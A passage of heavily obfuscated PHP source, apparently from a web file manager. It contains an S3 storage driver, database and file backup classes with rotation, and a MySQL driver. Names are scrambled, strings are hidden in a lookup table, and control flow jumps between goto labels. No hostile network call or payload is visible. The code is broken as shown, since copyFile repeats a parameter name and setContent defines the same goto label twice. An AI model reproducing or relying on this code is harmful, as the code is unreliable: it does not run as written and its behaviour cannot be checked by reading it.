=& $_SERVER[ȦÆ]; $fĞ = explode($cɺˢ[18], trim($ḏϫ, $cɺˢ[18])); $Bߧ = 0; do { ++$Bߧ; $Dלא[] = implode($cɺˢ[18], array_slice($fĞ, 0, $Bߧ)) . $cɺˢ[18]; } while ($Bߧ < count($fĞ)); $Dלא[count($fĞ) - 1] = $ḏϫ; return $Dלא; } public function getHost() { $C =& $_SERVER[ȦÆ]; $DɆш = parse_url(trim($this->domain, $C[18])); $bҼ = isset($DɆш[$C[174]]) ? $DɆш[$C[174]] : http_type(); $e = isset($DɆш[$C[175]]) ? $DɆш[$C[175]] : $DɆш[$C[85]]; if (isset($DɆш[$C[176]])) { $e .= $C[4] . $DɆш[$C[176]]; } return $bҼ . $C[177] . $e; } public function pathEncode($d汅ϋ) { $dڏ =& $_SERVER[ȦÆ]; return str_replace($dڏ[178], $dڏ[18], rawurlencode($d汅ϋ)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\x76\64"; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public function __construct($e) { set_timeout(); require_once SDK_DIR . $_SERVER[ȦÆ][179]; parent::__construct(); $this->_init($e); } public function _init($cЉ) { foreach ($cЉ as $C => $B) { if (isset($this->{$C})) { $this->{$C} = $B; } } $this->endpoint = $cЉ[$_SERVER[ȦÆ][180]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); } public function signatureVersion($E = "\x76\64") { $this->signVer = $E; $this->client->setSignatureVersion($E); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { goto cݿ; D׶: $e = array($a[186], $a[187], $a[188], $a[189], $a[190]); $c枫 = array_diff($e, $c); return empty($c枫); goto Bβ; F֠ޢ: if ($c֯[$a[181]] != $a[182] || $c֯[$a[183]] != $a[182]) { return !1; } $c = array_map($a[184], $c֯[$a[185]]); if (!is_array($c)) { $c = array(); } goto D׶; cݿ: $a =& $_SERVER[ȦÆ]; $c֯ = $this->getBucketCors(); if (!$c֯ || !is_array($c֯)) { return !1; } goto F֠ޢ; Bβ: } public function mkfile($Eőژ, $d = '', $F⺽ = REPEAT_RENAME) { $cІ = $this->setContent($Eőژ, $d); if ($cІ !== !1) { return $this->getPathOuter($Eőژ); } return !1; } public function mkdir($Cك, $A = REPEAT_SKIP) { if (empty($Cك)) { return !1; } if ($this->_isFolder($Cك)) { return $this->getPathOuter($Cك); } $d툓 = $this->setContent($Cك, $_SERVER[ȦÆ][43], !0); if ($d툓 !== !1) { return $this->getPathOuter($Cك); } return !1; } public function copyFile($c, $E, $c = array()) { $A =& $_SERVER[ȦÆ]; $Bǻ = $this->objectMeta($c); if (!$Bǻ) { return !1; } if ($Bǻ[$A[87]] <= 1024 * 1024 * 200) { $aܤ = $this->client->copyObject($this->bucket, $c, $this->bucket, $E, $A[191], $c); } else { $aܤ = $this->client->multiCopyObject($this->bucket, $c, $this->bucket, $E, $c); } $aܤ = $aܤ ? $this->getPathOuter($E) : !1; return $aܤ; } public function moveFile($eܟ, $a) { if ($this->copyFile($eܟ, $a)) { $this->delFile($eܟ); return $this->getPathOuter($a); } return !1; } public function delFile($fІ) { return $this->client->deleteObject($this->bucket, $fІ); } public function delFolder($a煽) { goto a; b؛: return $CȞ === $f݊ ? !0 : !1; goto D͚; a쓯: $CȞ = $f݊ = 0; $eܛ = array_chunk(array_keys($e), 1000); foreach ($eܛ as $CÎ) { $CȞ++; $f݊ += (int) $this->client->deleteObjects($this->bucket, $CÎ); } goto b؛; a: $Eꅟ =& $_SERVER[ȦÆ]; $e = $this->listObjs($a煽); if (!$e) { $a煽 = trim($a煽, $Eꅟ[18]); if (!empty($a煽)) { $a煽 .= $Eꅟ[18]; } return $this->delFile($a煽); } goto a쓯; D͚: } public function rename($C֠, $c) { return $this->renameObject($C֠, $c); } public function listPath($e, $F͜ = false) { $Fӈڥ =& $_SERVER[ȦÆ]; $aъ = $this->listObjs($e, null, null, $Fӈڥ[18]); $aӍ = array($Fӈڥ[84] => array(), $Fӈڥ[83] => array()); foreach ($aъ as $Bׄ => $D) { if ($Bׄ == $Fӈڥ[18]) { continue; } if (isset($D[$Fӈڥ[192]])) { $aӍ[$Fӈڥ[84]][] = $this->folderInfo($D[$Fӈڥ[192]], $F͜); } else { if (substr($D[$Fӈڥ[38]], -1) == $Fӈڥ[18]) { continue; } $aӍ[$Fӈڥ[83]][] = $this->fileInfo($D[$Fӈڥ[38]], $F͜, $D); } } return $aӍ; } private function fileInfo($e©, $F = false, $D = array()) { goto F޻; F޻: $f͑˘ =& $_SERVER[ȦÆ]; if ($F) { return array($f͑˘[38] => $this->pathThis($e©), $f͑˘[85] => $this->getPathOuter($e©), $f͑˘[39] => $f͑˘[173], $f͑˘[166] => $this->ext($e©), $f͑˘[87] => isset($D[$f͑˘[87]]) ? $D[$f͑˘[87]] : 0, $f͑˘[193] => 0, $f͑˘[116] => 0, $f͑˘[194] => !0, $f͑˘[195] => !0); } $a = array($f͑˘[38] => $this->pathThis($e©), $f͑˘[85] => $this->getPathOuter($e©), $f͑˘[39] => $f͑˘[173], $f͑˘[193] => 0, $f͑˘[116] => 0, $f͑˘[87] => 0, $f͑˘[166] => $this->ext($e©), $f͑˘[194] => !0, $f͑˘[195] => !0); goto D; Fь: return $a; goto a; D: if (empty($D)) { $D = $this->objectMeta($e©); if (!$D) { return $a; } } if (isset($D[$f͑˘[196]])) { $a[$f͑˘[116]] = $D[$f͑˘[196]]; } if (isset($D[$f͑˘[87]])) { $a[$f͑˘[87]] = $D[$f͑˘[87]]; } goto Fь; a: } private function folderInfo($bىñ, $f񴎋 = false) { goto Bǿ; Dе: if ($bىñ == $Aۛ[43]) { return $EŨϾ; } $bىñ = trim($bىñ, $Aۛ[18]) . $Aۛ[18]; $e = $this->objectMeta($bىñ); goto C; C: if (isset($e[$Aۛ[196]])) { $EŨϾ[$Aۛ[193]] = $e[$Aۛ[196]]; } return $EŨϾ; goto d諲; Bǿ: $Aۛ =& $_SERVER[ȦÆ]; if ($f񴎋) { return array($Aۛ[38] => $this->pathThis($bىñ), $Aۛ[85] => $this->getPathOuter($Aۛ[18] . $bىñ), $Aۛ[39] => $Aۛ[86], $Aۛ[194] => !0, $Aۛ[195] => !0); } $EŨϾ = array($Aۛ[38] => $this->pathThis($bىñ), $Aۛ[85] => $this->getPathOuter($Aۛ[18] . $bىñ), $Aۛ[39] => $Aۛ[86], $Aۛ[193] => 0, $Aۛ[116] => 0, $Aۛ[194] => !0, $Aۛ[195] => !0); goto Dе; d諲: } public function listObjs($E, $bŦ = null, $fێ = null, $D袣 = null) { $Eߚ =& $_SERVER[ȦÆ]; $E = trim($E, $Eߚ[18]); $BۢŤ = empty($E) ? $Eߚ[43] : $E . $Eߚ[18]; return $this->client->getBucket($this->bucket, $BۢŤ, $bŦ, $fێ, $D袣, !0); } public function has($aѐ, $dᴷ = false, $Cɇ = true) { goto E; aФ: $a﷉ = $this->listObjs($aѐ, null, null, $dޤ[18]); $a﷉ = is_array($a﷉) ? $a﷉ : array(); foreach ($a﷉ as $C) { if (isset($C[$dޤ[38]]) && substr($C[$dޤ[38]], -1) != $dޤ[18]) { if (!$dᴷ && $Cɇ) { return !0; } $Fӫ߳++; } else { if (isset($C[$dޤ[192]])) { if (!$dᴷ && !$Cɇ) { return !1; } $FÇۄ++; } } } goto AĐ; AĐ: if ($dᴷ) { return array($dޤ[197] => $Fӫ߳, $dޤ[198] => $FÇۄ); } return !1; goto Cь; E: $dޤ =& $_SERVER[ȦÆ]; $Fӫ߳ = 0; $FÇۄ = 0; goto aФ; Cь: } public function listAll($d܂) { $Eͮ =& $_SERVER[ȦÆ]; $fₐԥ = $this->listObjs($d܂); $A媅 = $A = array(); foreach ($fₐԥ as $fገ => $bͣߌ) { $A媅[] = $bͣߌ[$Eͮ[38]]; $A[$fገ] = $bͣߌ[$Eͮ[87]]; } return $this->listAllFiles($d܂, $A媅, $A); } public function canRead($aϟ) { $A≞ =& $_SERVER[ȦÆ]; $fڎ = $this->client->getAccessControlPolicy($this->bucket, $aϟ); if (!$fڎ) { return !1; } return in_array($fڎ, array($A≞[199], $A≞[200], $A≞[201])) ? !0 : !1; } public function canWrite($CϏ) { $b鄊І =& $_SERVER[ȦÆ]; $D͎ = $this->client->getAccessControlPolicy($this->bucket, $CϏ); if (!$D͎) { return !1; } return in_array($D͎, array($b鄊І[199], $b鄊І[200])) ? !0 : !1; } public function getContent($Fڟ٧) { return $this->client->getObject($this->bucket, $Fڟ٧); } public function setContent($c򏒱, $cׄ = '', $F = false) { goto Ačܲ; Ačܲ: $f =& $_SERVER[ȦÆ]; $c򏒱 = $F ? trim($c򏒱, $f[18]) . $f[18] : $c򏒱; $eߞ = get_file_mime(get_path_ext($c򏒱)); goto b; b: $aߣ = $this->client->putObject($cׄ, $this->bucket, $c򏒱, $f[191], array(), $eߞ); if (!$aߣ) { return !1; } if ($F) { return !0; } goto F; F: $aߣ = $this->copyFile($c򏒱, $c򏒱, array($f[202] => $aߣ[$f[203]])); return $aߣ ? !0 : !1; goto b; b: } public function fileSubstr($F’, $Cۈ, $A͗) { $aȨ = $Cۈ + $A͗ - 1; return $this->client->getObject($this->bucket, $F’, array($_SERVER[ȦÆ][204] => "\142\x79\164\145\x73\75{$Cۈ}\55{$aȨ}")); } public function upload($a, $CӺ, $bΤ = false, $C슔 = REPEAT_REPLACE) { $FӅ =& $_SERVER[ȦÆ]; $dഴ = array($FӅ[202] => @md5_file($CӺ)); $d܅▯ = array($FӅ[205] => get_file_mime(get_path_ext($a))); if (IO::size($CӺ) <= 1024 * 1024 * 200) { $C蘋 = $this->client->putObjectFile($CӺ, $this->bucket, $a, $FӅ[191], $dഴ, $d܅▯); return !empty($C蘋) ? $this->getPathOuter($a) : !1; } $AƷ = $this->client->multiUploadObject($CӺ, $this->bucket, trim($a, $FӅ[18]), $dഴ, $d܅▯); return $AƷ ? $this->getPathOuter($a) : !1; } public function download($fȵ, $c) { if (!@is_dir($this->pathFather($c)) && !IO::mkdir($this->pathFather($c))) { return !1; } $c = $this->client->getObject($this->bucket, $fȵ, array(), $c); return $c !== !1 ? $c : !1; } public function link($fΏ, $Dа = array()) { $DӏȬ =& $_SERVER[ȦÆ]; if ($this->signVer == $DӏȬ[206]) { return $this->client->getAuthenticatedURL($this->bucket, $fΏ, 3600 * 12, $Dа); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($fΏ, $DӏȬ[18]), 3600 * 12, $this->region, array(), !0, $Dа); } public function fileOut($F, $cޓ͈ = false, $bȻ = false, $bLj݇ = '') { goto E; C: if ($Bә == $Fٹܶ[207]) { return parent::fileOut($F, $cޓ͈, $bȻ, $bLj݇); } $cޓ͈ = $cޓ͈ ? $Fٹܶ[208] : $Fٹܶ[209]; $bϲ = array($Fٹܶ[210] => $cޓ͈ . $Fٹܶ[211] . rawurlencode($bȻ), $Fٹܶ[212] => $Bә); goto EΆܻ; EΆܻ: $B˺ = $this->link($F, $bϲ); $this->fileOutLink($B˺); goto a۩; E: $Fٹܶ =& $_SERVER[ȦÆ]; if (!$bȻ) { $bȻ = $this->pathThis($F); } $Bә = get_file_mime(get_path_ext($bȻ)); goto C; a۩: } public function fileOutServer($f, $Fڙ = false, $dȹ = false, $BÊ = '') { parent::fileOut($f, $Fڙ, $dȹ, $BÊ); } public function fileOutImage($eר, $F箣 = 250) { $B؇ = $this->link($eר); $this->fileOutLink($B؇); } public function fileOutImageServer($a, $f® = 250) { parent::fileOutImage($a, $f®); } public function hashMd5($fɮ, $D = '') { $B뵕 =& $_SERVER[ȦÆ]; $d = $this->objectMeta($fɮ); if (!$d) { return !1; } $D = $D ? $D : _get($d, $B뵕[213]); $D = $D ? $D : _get($d, $B뵕[203], $B뵕[43]); return $D; } public function uploadFormData($Bӌ, $FΤ = 3600) { $Fƹѱ =& $_SERVER[ȦÆ]; $aƒߕ = $this->pathFather($Bӌ); $aˠ = $this->client->getHttpUploadPostParams($this->bucket, $aƒߕ, $Fƹѱ[191], $FΤ); return array_merge((array) $aˠ, array($Fƹѱ[175] => $this->getHost())); } public function multiUploadFormData($D̢Ņ, $d܇氇 = 3600) { $B =& $_SERVER[ȦÆ]; $b䜌 = gmdate($B[214]); $cܒ䂚 = array(); $fŎ = $this->client->getUploadId($this->bucket, $D̢Ņ, $cܒ䂚); if (!$fŎ) { return !1; } return array($B[215] => $fŎ, $B[175] => $this->getHost() . $B[18] . $this->pathEncode($D̢Ņ), $B[216] => $b䜌, $B[99] => $D̢Ņ); } public function multiUploadAuthData($dݰՊ, $fԷ = array()) { goto fͱ; fͱ: $F궋 =& $_SERVER[ȦÆ]; $c흲 = isset($fԷ[$F궋[216]]) ? $fԷ[$F궋[216]] : gmdate($F궋[214]); $BҔ֏ = isset($fԷ[$F궋[166]]) ? $fԷ[$F궋[166]] : $F궋[43]; goto c魍; Bٗ: if (strpos($BҔ֏, $F궋[219]) === 0) { return array($F궋[225] => $cڃ, $F궋[216] => $c흲); } return $cڃ; goto aĻ; c魍: $f鈲䠨 = $fԷ[$F궋[99]]; unset($fԷ[$F궋[99]]); if (isset($fԷ[$F궋[217]])) { $fԷ[$F궋[216]] = $c흲; return $this->listUploadParts($f鈲䠨, $fԷ); } goto bڎ; fÌ: $C⬢¸ = implode($F궋[12], $Fٝ); $f = base64_encode(hash_hmac($F궋[223], $C⬢¸, $this->secret, !0)); $cڃ = $F궋[224] . $this->accessKey . $F궋[4] . $f; goto Bٗ; bڎ: $Fٝ = array($F궋[218], $F궋[43], $F궋[125], $F궋[43], "\x78\x2d\141\x6d\x7a\x2d\x64\x61\164\145\72{$c흲}", $F궋[18] . $this->bucket . $F궋[18] . $this->pathEncode($f鈲䠨) . $BҔ֏); if (strpos($BҔ֏, $F궋[219]) === 0) { $Fٝ[0] = $F궋[220]; } if (isset($fԷ[$F궋[221]]) && $fԷ[$F궋[221]] == $F궋[222]) { $Fٝ[0] = $F궋[222]; } goto fÌ; aĻ: } public function listUploadParts($F쏾, $e׃ = array()) { goto E҉ń; Cݻ߂: if (!$Aݔל) { return !1; } unset($e׃[$Fݓ⟺[217]], $e׃[$Fݓ⟺[221]]); $e׃[$Fݓ⟺[99]] = $F쏾; goto c஼; c஼: $Eř = $this->multiUploadAuthData($F쏾, $e׃); if (empty($Eř)) { return !1; } return array($Fݓ⟺[225] => $Eř, $Fݓ⟺[216] => $e׃[$Fݓ⟺[216]], $Fݓ⟺[227] => $Aݔל); goto aחݠ; E҉ń: $Fݓ⟺ =& $_SERVER[ȦÆ]; $b귙 = str_replace($Fݓ⟺[226], $Fݓ⟺[43], $e׃[$Fݓ⟺[166]]); $Aݔל = $this->client->listParts($this->bucket, $F쏾, $b귙); goto Cݻ߂; aחݠ: } public function getHost() { return parent::getHost() . $_SERVER[ȦÆ][18] . $this->bucket; } public function size($B) { $Cҭ = $this->objectMeta($B); return $Cҭ ? $Cҭ[$_SERVER[ȦÆ][87]] : 0; } public function info($EѪ) { if ($this->isFolder($EѪ)) { return $this->folderInfo($EѪ); } else { if ($this->isFile($EѪ)) { return $this->fileInfo($EѪ); } } return !1; } public function exist($Eÿ̶) { return $this->isFile($Eÿ̶) || $this->isFolder($Eÿ̶); } public function isFile($eܛŗ) { return !$this->isFolder($eܛŗ) && $this->objectMeta($eܛŗ); } public function isFolder($C) { return $this->cacheMethod($_SERVER[ȦÆ][228], $C); } protected function objectMeta($cデ) { return $this->cacheMethod($_SERVER[ȦÆ][229], $cデ); } protected function _objectMeta($f܃) { $D =& $_SERVER[ȦÆ]; $f܃ = rtrim($f܃, $D[18]); try { $F͸ = $this->client->getObjectInfo($this->bucket, $f܃); if (!isset($F͸[$D[213]]) && isset($F͸[$D[230]])) { $F͸[$D[213]] = $F͸[$D[230]]; } } catch (OSS\Core\OssException $D) { $F͸ = !1; } if (!$F͸) { } return $F͸; } protected function _isFolder($D) { goto a҂; A: $dë = $this->client->getBucket($this->bucket, $D, null, 1); if (empty($dë)) { return !1; } $dë = array_values($dë); goto Dݏ; a҂: $DƠ =& $_SERVER[ȦÆ]; $D = rtrim($D, $DƠ[18]); if ($D == $DƠ[43] || $D == $DƠ[18]) { return !0; } goto A; Dݏ: if (substr($dë[0][$DƠ[38]], -1) == $DƠ[18]) { return !0; } if (get_path_this($dë[0][$DƠ[38]]) == get_path_this($D)) { return !1; } return !0; goto D; D: } } define($_SERVER[ȦÆ][231], 1); goto Bנ; Fޅ賷: class Backup { protected static $name; protected static $option; public function __construct() { $this->init(); } public function init() { $bԶ =& $_SERVER[ȦÆ]; self::$name = date($bԶ[688]); if (!($e풵 = Model($bԶ[689])->lastItem())) { $e풵 = $this->initData(); } else { self::$name = $e풵[$bԶ[38]]; if ($e풵[$bԶ[690]] == $bԶ[93]) { self::$name = date($bԶ[691]); $aז = 0; if (isset($e풵[$bԶ[286]][$bԶ[173]][$bԶ[424]])) { $aז = (int) $e풵[$bԶ[286]][$bԶ[173]][$bԶ[424]]; } if ($e풵[$bԶ[38]] == self::$name) { Model($bԶ[689])->remove($e풵[$bԶ[372]]); } $e풵 = $this->initData($aז, $e풵[$bԶ[692]]); } else { $this->checkStore($e풵[$bԶ[692]]); } } self::$option = $e풵; } private function initData($D̞ = 0, $A͔ = '') { goto d; aIJ: $FÏ[$fޠ[372]] = $a߰; return $FÏ; goto aޔӈ; F: $this->checkStore($Fۜ[$fޠ[692]]); $FÏ = array($fޠ[692] => $Fۜ[$fޠ[692]], $fޠ[38] => self::$name, $fޠ[690] => 0, $fޠ[693] => $Fۜ[$fޠ[693]], $fޠ[286] => array($fޠ[694] => array($fޠ[690] => 0), $fޠ[695] => array($fޠ[690] => 0, $fޠ[696] => 0, $fޠ[697] => 0, $fޠ[39] => $fޠ[43]), $fޠ[698] => array($fޠ[690] => 0, $fޠ[696] => 0, $fޠ[697] => 0), $fޠ[173] => array($fޠ[690] => 0, $fޠ[699] => 0, $fޠ[700] => 0, $fޠ[701] => 0, $fޠ[702] => 0, $fޠ[424] => $D̞)), $fޠ[703] => time(), $fޠ[704] => 0); $a߰ = Model($fޠ[689])->insert($FÏ); goto aIJ; d: $fޠ =& $_SERVER[ȦÆ]; $Fۜ = Model($fޠ[689])->config(); if ($A͔ && $Fۜ[$fޠ[692]] != $A͔) { $D̞ = 0; } goto F; aޔӈ: } private function checkStore($Cڂ) { $AӘߺ =& $_SERVER[ȦÆ]; $fȐ = Model($AӘߺ[705])->listData($Cڂ); Model($AӘߺ[705])->checkConfig($fȐ); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[ȦÆ][689])->findByName(self::$name); } return self::$option; } public static function set($b͉ʦ؆) { $E =& $_SERVER[ȦÆ]; $F߉ = self::get(); foreach ($b͉ʦ؆ as $FǏ閘 => $Eφ֜Ő) { $dƴ = explode($E[101], $FǏ閘); $Fԃ = count($dƴ); switch ($Fԃ) { case 1: $F߉[$dƴ[0]] = $Eφ֜Ő; break; case 2: $F߉[$dƴ[0]][$dƴ[1]] = $Eφ֜Ő; break; case 3: $F߉[$dƴ[0]][$dƴ[1]][$dƴ[2]] = $Eφ֜Ő; break; } } Model($E[689])->update($F߉[$E[372]], $F߉); self::$option = $F߉; return self::$option; } public function keep() { $b =& $_SERVER[ȦÆ]; $e⃚ = self::get(); if ($e⃚[$b[286]][$b[694]][$b[690]] == $b[93]) { return; } $this->backupKeep($e⃚); self::set(array($b[706] => 1)); } private function backupKeep($eΝ) { goto A; A: $Cה㿻 =& $_SERVER[ȦÆ]; $E = Model($Cה㿻[689])->listData(); if (empty($E)) { return; } goto b; e¨: for ($d񉐾 = 0; $d񉐾 < 12; $d񉐾++) { $bë[] = date($Cה㿻[707], strtotime("\55{$d񉐾}\x20\x6d\157\156\164\x68\x73")); } $bë = array_unique($bë); foreach ($E as $E¯) { if (!empty($E¯[$Cה㿻[38]]) && in_array($E¯[$Cה㿻[38]], $bë)) { continue; } Model($Cה㿻[689])->remove($E¯[$Cה㿻[372]]); $Dթ = "\173\151\x6f\72{$eΝ[$Cה㿻[692]]}\175\x2f\144\141\164\141\x62\141\x73\x65\x2f\x62\x61\143\153\165\160\x5f{$E¯[$Cה㿻[38]]}"; IO::remove($Dթ, !1); } goto Fͯ; b: $d񉐾 = 0; $bë = array(); foreach ($E as $E¯) { if ($d񉐾 >= 7) { break; } $bë[] = $E¯[$Cה㿻[38]]; $d񉐾++; } goto e¨; Fͯ: } public function db() { goto bꦊ; A: $Aئ = new BackupDb(); if (!$Aئ->index()) { return !1; } self::set(array($eƽ皍[708] => 1)); goto bܑ嗈; bꦊ: $eƽ皍 =& $_SERVER[ȦÆ]; $eѥ = self::get(); if ($eѥ[$eƽ皍[286]][$eƽ皍[695]][$eƽ皍[690]] == $eƽ皍[93]) { return !0; } goto A; bܑ嗈: return !0; goto Fڵ; Fڵ: } public function dbFile() { goto C; C: $D =& $_SERVER[ȦÆ]; $b = self::get(); if ($b[$D[286]][$D[698]][$D[690]] == $D[93]) { return !0; } goto Cī; EԱ: return !0; goto e̴; Cī: $Cٛγ = new BackupDbFile(); if (!$Cٛγ->index()) { return !1; } self::set(array($D[709] => 1)); goto EԱ; e̴: } public function file() { $eʒ =& $_SERVER[ȦÆ]; $Bݔ纙 = self::get(); if ($Bݔ纙[$eʒ[286]][$eʒ[173]][$eʒ[690]] == $eʒ[93]) { return !0; } if (!isset($Bݔ纙[$eʒ[693]]) || $Bݔ纙[$eʒ[693]] == $eʒ[473]) { $f鿃 = new BackupFile(); if (!$f鿃->index()) { return !1; } } self::set(array($eʒ[710] => 1, $eʒ[690] => 1)); return !0; } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { goto F䊅; e: $C->end(); $d̫ = array($Dટ[721] => $eʝ, $Dટ[708] => 1, $Dટ[722] => $b, $Dટ[723] => $b); Backup::set($d̫); goto a; bӧڬ: mk_dir($b䑼); $F𨛽 = $A->db()->getTables(); $b = 0; goto A‡; F䊅: $Dટ =& $_SERVER[ȦÆ]; $DÌ = Backup::get(); self::$io = $DÌ[$Dટ[692]]; goto cç; a: return !0; goto bސ; cç: self::$name = $DÌ[$Dટ[38]]; $Fڵ = $GLOBALS[$Dટ[16]][$Dટ[27]]; $eʝ = $this->_dbType($Fڵ); goto bڤ; bڤ: $A = new DbManage($Fڵ, $eʝ); $b䑼 = TEMP_FILES . $Dટ[711] . self::$name . $Dટ[18]; del_dir($b䑼); goto bӧڬ; A‡: $C = new Task($Dટ[712], $Dટ[713], 0, LNG($Dટ[714]) . $Dટ[715] . LNG($Dટ[716])); $F𨛽 = array_diff($F𨛽, array($Dટ[717], $Dટ[718])); foreach ($F𨛽 as $b) { $Dϯ = $b䑼 . $b . $Dટ[719]; $C壜ʪ = null; if ($b == $Dટ[720] && (!isset($DÌ[$Dટ[693]]) || $DÌ[$Dટ[693]] == $Dટ[473])) { $C壜ʪ = self::$io; } $b += $A->sqlFromDb($b, $Dϯ, $C, $C壜ʪ); } goto e; bސ: } private function _dbType($e¸) { goto aݘ; aݘ: $F =& $_SERVER[ȦÆ]; $e¸ = array_change_key_case($e¸); $AҶ = $e¸[$F[724]]; goto dޅ; dޅ: if ($AҶ == $F[725]) { $A = explode($F[4], $e¸[$F[726]]); $AҶ = $A[0]; } $dܓ = array($F[727] => $F[19], $F[728] => $F[729]); if (isset($dܓ[$AҶ])) { $AҶ = $dܓ[$AҶ]; } goto CÇҌ; CÇҌ: return $AҶ; goto A؟; A؟: } } class BackupDbFile { public function __construct() { } public function index() { goto EŞԃ; EŞԃ: $c =& $_SERVER[ȦÆ]; $a嵎 = Backup::get(); $aٳو = $a嵎[$c[38]]; goto Bϐ; Bϐ: $B = TEMP_FILES . "\x62\141\143\x6b\165\160\137{$aٳو}\57"; $A = "\173\x69\157\72{$a嵎[$c[692]]}\x7d\x2f\144\x61\164\141\x62\x61\163\x65\x2f"; IO::mkdir($A . "\142\x61\x63\x6b\165\x70\x5f{$aٳو}\57"); goto b; b: $f = new TaskFileTransfer($c[730], $c[713], 0, LNG($c[714]) . $c[417] . LNG($c[716]) . $c[731]); $f->addPath($B); $b؃ = IO::infoWithChildren($B); goto Bю; Bצϋ: IO::copy($A, $A . "\x62\141\x63\x6b\165\x70\137{$aٳو}\57"); $f->end(); Backup::set(array($c[734] => $b؃[$c[87]])); goto Eď; Eď: return !0; goto c󑚑; Bю: Backup::set(array($c[732] => $b؃[$c[87]])); IO::move($B, $A); $A = CONTROLLER_DIR . $c[733]; goto Bצϋ; c󑚑: } } goto eÃ; Bנ: define($_SERVER[ȦÆ][232], 2); define($_SERVER[ȦÆ][233], 3); define($_SERVER[ȦÆ][234], 1); goto a浇; Fږ: class DbMysql extends Db { public function __construct($A = '') { $c =& $_SERVER[ȦÆ]; if (!extension_loaded($c[729])) { think_exception(think_lang($c[20]) . $c[793]); } if (!empty($A)) { $this->config = $A; if (empty($this->config[$c[23]])) { $this->config[$c[23]] = $c[43]; } } } public function connect($D = '', $aư = 0, $D˦ڢӂ = false) { $dȮ =& $_SERVER[ȦÆ]; if (!isset($this->linkID[$aư])) { goto F; b쭵: if (1 != think_config($dȮ[28])) { unset($this->config); } goto b; f׊ӹ: mysql_query($dȮ[798] . think_config($dȮ[799]) . $dȮ[65], $this->linkID[$aư]); if ($e۷ > $dȮ[800]) { mysql_query($dȮ[801], $this->linkID[$aư]); } $this->connected = !0; goto b쭵; bٿ: if ($C) { $this->linkID[$aư] = mysql_pconnect($aĿȉæ, $D[$dȮ[796]], $D[$dȮ[797]], 131072); } else { $this->linkID[$aư] = mysql_connect($aĿȉæ, $D[$dȮ[796]], $D[$dȮ[797]], !0, 131072); } if (!$this->linkID[$aư] || !empty($D[$dȮ[27]]) && !mysql_select_db($D[$dȮ[27]], $this->linkID[$aư])) { think_exception(mysql_error()); } $e۷ = mysql_get_server_info($this->linkID[$aư]); goto f׊ӹ; F: if (empty($D)) { $D = $this->config; } $aĿȉæ = $D[$dȮ[794]] . ($D[$dȮ[795]] ? "\x3a{$D[$dȮ[795]]}" : $dȮ[43]); $C = !empty($D[$dȮ[23]][$dȮ[24]]) ? $D[$dȮ[23]][$dȮ[24]] : $this->pconnect; goto bٿ; b: } return $this->linkID[$aư]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($A) { goto C; Eڠ: think_action_status($B[29], 1); think_status($B[30]); $this->queryID = mysql_query($A, $this->_linkID); goto f멎; f멎: $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } goto E; C: $B =& $_SERVER[ȦÆ]; if (0 === stripos($A, $B[257])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); goto a; a: if (!$this->_linkID) { return !1; } $this->queryStr = $A; if ($this->queryID) { $this->free(); } goto Eڠ; E: } public function execute($F雉) { goto D׍; Aې: think_status($Dڐ[30]); $f = mysql_query($F雉, $this->_linkID); $this->debug(); goto dȤ; D׍: $Dڐ =& $_SERVER[ȦÆ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } goto f; f: $this->queryStr = $F雉; if ($this->queryID) { $this->free(); } think_action_status($Dڐ[31], 1); goto Aې; dȤ: if (!1 === $f) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } goto CϚ; CϚ: } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[ȦÆ][802], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $A = mysql_query($_SERVER[ȦÆ][803], $this->_linkID); $this->transTimes = 0; if (!$A) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $B˫ = mysql_query($_SERVER[ȦÆ][804], $this->_linkID); $this->transTimes = 0; if (!$B˫) { $this->error(); return !1; } } return !0; } private function getAll() { $fԋ = array(); if ($this->numRows > 0) { while ($dԏ׃ = mysql_fetch_assoc($this->queryID)) { $fԋ[] = $dԏ׃; } mysql_data_seek($this->queryID, 0); } return $fԋ; } public function getFields($bڢҒ) { $c =& $_SERVER[ȦÆ]; $b = $this->query($c[805] . $this->parseKey($bڢҒ)); $Dҕϑ = array(); if ($b) { foreach ($b as $Fōٻ => $eؙ) { $Dҕϑ[$eؙ[$c[37]]] = array($c[38] => $eؙ[$c[37]], $c[39] => $eؙ[$c[40]], $c[41] => (bool) (strtoupper($eؙ[$c[42]]) === $c[806]), $c[44] => $eؙ[$c[45]], $c[46] => strtolower($eؙ[$c[47]]) == $c[48], $c[49] => strtolower($eؙ[$c[50]]) == $c[51]); } } return $Dҕϑ; } public function getTables($e΃ = '') { $cӌ =& $_SERVER[ȦÆ]; if (!empty($e΃)) { $b▟ = $cӌ[807] . $e΃; } else { $b▟ = $cӌ[808]; } $F = $this->query($b▟); $AߚƉ = array(); foreach ($F as $Eݫ => $c) { $AߚƉ[$Eݫ] = current($c); } return $AߚƉ; } public function replace($aȔؐ, $e̲ = array()) { $AԦ܌ =& $_SERVER[ȦÆ]; foreach ($aȔؐ as $cӶ => $f΋βӄ) { $Eљ = $this->parseValue($f΋βӄ); if (is_scalar($Eљ)) { $cɸʑ[] = $Eљ; $Eۆ[] = $this->parseKey($cӶ); } } $dҴʆ = $AԦ܌[809] . $this->parseTable($e̲[$AԦ܌[272]]) . $AԦ܌[810] . implode($AԦ܌[57], $Eۆ) . $AԦ܌[811] . implode($AԦ܌[57], $cɸʑ) . 